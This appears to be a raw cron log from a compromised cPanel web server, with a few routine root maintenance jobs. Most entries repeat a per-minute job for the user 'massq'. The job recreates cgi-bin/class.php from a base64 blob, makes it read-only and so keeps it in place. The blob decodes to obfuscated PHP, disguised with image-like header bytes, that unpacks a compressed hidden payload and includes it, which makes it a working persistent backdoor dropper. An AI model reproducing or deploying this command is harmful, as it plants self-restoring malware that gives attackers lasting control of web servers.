Nov 14 01:20:01 server CROND[13095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:20:01 server CROND[13097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:20:01 server CROND[13096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 01:21:01 server CROND[14015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:22:01 server CROND[14394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:23:01 server CROND[15351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:24:01 server CROND[16211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:25:01 server CROND[17018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:25:01 server CROND[17019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:25:01 server CROND[17020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:26:01 server CROND[17940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:27:01 server CROND[18802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:27:01 server CROND[18803]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:28:01 server CROND[19748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:29:01 server CROND[20607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:30:01 server CROND[21232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:30:01 server CROND[21233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:30:01 server CROND[21234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:30:01 server CROND[21235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 01:31:01 server CROND[22150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:32:01 server CROND[22926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
